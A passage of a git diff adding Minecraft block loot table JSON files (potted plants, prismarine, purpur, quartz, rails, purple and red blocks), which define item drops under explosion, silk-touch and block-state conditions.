"minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_tulip" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_spruce_sapling.json b/src/data/minecraft/loot_tables/blocks/potted_spruce_sapling.json new file mode 100644 index 00000000..69e19653 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_spruce_sapling.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:spruce_sapling" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_warped_fungus.json b/src/data/minecraft/loot_tables/blocks/potted_warped_fungus.json new file mode 100644 index 00000000..71496dea --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_warped_fungus.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_fungus" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_warped_roots.json b/src/data/minecraft/loot_tables/blocks/potted_warped_roots.json new file mode 100644 index 00000000..4edef610 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_warped_roots.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:warped_roots" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_white_tulip.json b/src/data/minecraft/loot_tables/blocks/potted_white_tulip.json new file mode 100644 index 00000000..ab6b40d8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_white_tulip.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_tulip" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/potted_wither_rose.json b/src/data/minecraft/loot_tables/blocks/potted_wither_rose.json new file mode 100644 index 00000000..49de8c4a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/potted_wither_rose.json @@ -0,0 +1,33 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:flower_pot" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:wither_rose" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/powered_rail.json b/src/data/minecraft/loot_tables/blocks/powered_rail.json new file mode 100644 index 00000000..02eb374f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/powered_rail.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:powered_rail" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/prismarine.json b/src/data/minecraft/loot_tables/blocks/prismarine.json new file mode 100644 index 00000000..b4bf1cbe --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/prismarine.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:prismarine" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/prismarine_brick_slab.json b/src/data/minecraft/loot_tables/blocks/prismarine_brick_slab.json new file mode 100644 index 00000000..eaf36cf0 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/prismarine_brick_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:prismarine_brick_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:prismarine_brick_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/prismarine_brick_stairs.json b/src/data/minecraft/loot_tables/blocks/prismarine_brick_stairs.json new file mode 100644 index 00000000..0e0a3101 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/prismarine_brick_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:prismarine_brick_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/prismarine_bricks.json b/src/data/minecraft/loot_tables/blocks/prismarine_bricks.json new file mode 100644 index 00000000..0948b2cf --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/prismarine_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:prismarine_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/prismarine_slab.json b/src/data/minecraft/loot_tables/blocks/prismarine_slab.json new file mode 100644 index 00000000..83d0b91e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/prismarine_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:prismarine_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:prismarine_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/prismarine_stairs.json b/src/data/minecraft/loot_tables/blocks/prismarine_stairs.json new file mode 100644 index 00000000..e3ed4e2a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/prismarine_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:prismarine_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/prismarine_wall.json b/src/data/minecraft/loot_tables/blocks/prismarine_wall.json new file mode 100644 index 00000000..30fc4435 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/prismarine_wall.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:prismarine_wall" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pumpkin.json b/src/data/minecraft/loot_tables/blocks/pumpkin.json new file mode 100644 index 00000000..c66195ba --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pumpkin.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:pumpkin" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/pumpkin_stem.json b/src/data/minecraft/loot_tables/blocks/pumpkin_stem.json new file mode 100644 index 00000000..a3729d1e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/pumpkin_stem.json @@ -0,0 +1,157 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:pumpkin_stem", + "properties": { + "age": "0" + } + } + ], + "count": { + "n": 3, + "p": 0.06666667, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:pumpkin_stem", + "properties": { + "age": "1" + } + } + ], + "count": { + "n": 3, + "p": 0.13333334, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:pumpkin_stem", + "properties": { + "age": "2" + } + } + ], + "count": { + "n": 3, + "p": 0.2, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:pumpkin_stem", + "properties": { + "age": "3" + } + } + ], + "count": { + "n": 3, + "p": 0.26666668, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:pumpkin_stem", + "properties": { + "age": "4" + } + } + ], + "count": { + "n": 3, + "p": 0.33333334, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:pumpkin_stem", + "properties": { + "age": "5" + } + } + ], + "count": { + "n": 3, + "p": 0.4, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:pumpkin_stem", + "properties": { + "age": "6" + } + } + ], + "count": { + "n": 3, + "p": 0.46666667, + "type": "minecraft:binomial" + } + }, + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:pumpkin_stem", + "properties": { + "age": "7" + } + } + ], + "count": { + "n": 3, + "p": 0.53333336, + "type": "minecraft:binomial" + } + } + ], + "name": "minecraft:pumpkin_seeds" + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_banner.json b/src/data/minecraft/loot_tables/blocks/purple_banner.json new file mode 100644 index 00000000..42e43293 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:purple_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_bed.json b/src/data/minecraft/loot_tables/blocks/purple_bed.json new file mode 100644 index 00000000..10329144 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:purple_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:purple_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_carpet.json b/src/data/minecraft/loot_tables/blocks/purple_carpet.json new file mode 100644 index 00000000..28c2822e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purple_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_concrete.json b/src/data/minecraft/loot_tables/blocks/purple_concrete.json new file mode 100644 index 00000000..d38d17ef --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purple_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/purple_concrete_powder.json new file mode 100644 index 00000000..d17c6ae5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purple_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/purple_glazed_terracotta.json new file mode 100644 index 00000000..753c3b7e --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purple_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_shulker_box.json b/src/data/minecraft/loot_tables/blocks/purple_shulker_box.json new file mode 100644 index 00000000..af8a550b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:purple_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_stained_glass.json b/src/data/minecraft/loot_tables/blocks/purple_stained_glass.json new file mode 100644 index 00000000..83add407 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purple_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/purple_stained_glass_pane.json new file mode 100644 index 00000000..149b2c24 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purple_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_terracotta.json b/src/data/minecraft/loot_tables/blocks/purple_terracotta.json new file mode 100644 index 00000000..866b3221 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purple_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purple_wool.json b/src/data/minecraft/loot_tables/blocks/purple_wool.json new file mode 100644 index 00000000..96ac0db5 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purple_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purple_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purpur_block.json b/src/data/minecraft/loot_tables/blocks/purpur_block.json new file mode 100644 index 00000000..cccc710d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purpur_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purpur_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purpur_pillar.json b/src/data/minecraft/loot_tables/blocks/purpur_pillar.json new file mode 100644 index 00000000..b9f8eed6 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purpur_pillar.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purpur_pillar" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purpur_slab.json b/src/data/minecraft/loot_tables/blocks/purpur_slab.json new file mode 100644 index 00000000..53bd4f21 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purpur_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:purpur_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:purpur_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/purpur_stairs.json b/src/data/minecraft/loot_tables/blocks/purpur_stairs.json new file mode 100644 index 00000000..0fdd9bdf --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/purpur_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:purpur_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/quartz_block.json b/src/data/minecraft/loot_tables/blocks/quartz_block.json new file mode 100644 index 00000000..24488741 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/quartz_block.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:quartz_block" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/quartz_bricks.json b/src/data/minecraft/loot_tables/blocks/quartz_bricks.json new file mode 100644 index 00000000..75dd3b98 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/quartz_bricks.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:quartz_bricks" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/quartz_pillar.json b/src/data/minecraft/loot_tables/blocks/quartz_pillar.json new file mode 100644 index 00000000..9173177f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/quartz_pillar.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:quartz_pillar" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/quartz_slab.json b/src/data/minecraft/loot_tables/blocks/quartz_slab.json new file mode 100644 index 00000000..586a77a9 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/quartz_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:quartz_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:quartz_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/quartz_stairs.json b/src/data/minecraft/loot_tables/blocks/quartz_stairs.json new file mode 100644 index 00000000..660b6e5b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/quartz_stairs.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:quartz_stairs" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/rail.json b/src/data/minecraft/loot_tables/blocks/rail.json new file mode 100644 index 00000000..c39e45d1 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/rail.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:rail" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_banner.json b/src/data/minecraft/loot_tables/blocks/red_banner.json new file mode 100644 index 00000000..5fb48602 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:red_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_bed.json b/src/data/minecraft/loot_tables/blocks/red_bed.json new file mode 100644 index 00000000..a3c9d974 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:red_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:red_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_carpet.json b/src/data/minecraft/loot_tables/blocks/red_carpet.json new file mode 100644 index 00000000..c1b122d4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_concrete.json b/src/data/minecraft/loot_tables/blocks/red_concrete.json new file mode 100644 index 00000000..ca2c359f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/red_concrete_powder.json new file mode 100644 index 00000000..167e0eb4 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/red_glazed_terracotta.json new file mode 100644 index 00000000..939db78d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_mushroom.json b/src/data/minecraft/loot_tables/blocks/red_mushroom.json new file mode 100644 index 00000000..dc9352df --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_mushroom.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:red_mushroom" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_mushroom_block.json b/src/data/minecraft/loot_tables/blocks/red_mushroom_block.json new file mode 100644 index 00000000..8a7de896 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_mushroom_block.json @@ -0,0 +1,57 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ], + "name": "minecraft:red_mushroom_block" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": -6.0, + "max": 2.0, + "type": "minecraft:uniform" + } + }, + { + "function": "minecraft:limit_count", + "limit": { + "min": 0 + } + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:red_mushroom" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_nether_brick_slab.json b/src/data/minecraft/loot_tables/blocks/red_nether_brick_slab.json new file mode 100644 index 00000000..061e10b8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/red_nether_brick_slab.json @@ -0,0 +1,32 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:red_nether_brick_slab", + "properties": { + "type": "double" + } + } + ], + "count": 2 + }, + { + "function": "minecraft:explosion_decay" + } + ], + "name": "minecraft:red_nether_brick_slab" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/red_nether_brick_stairs.json 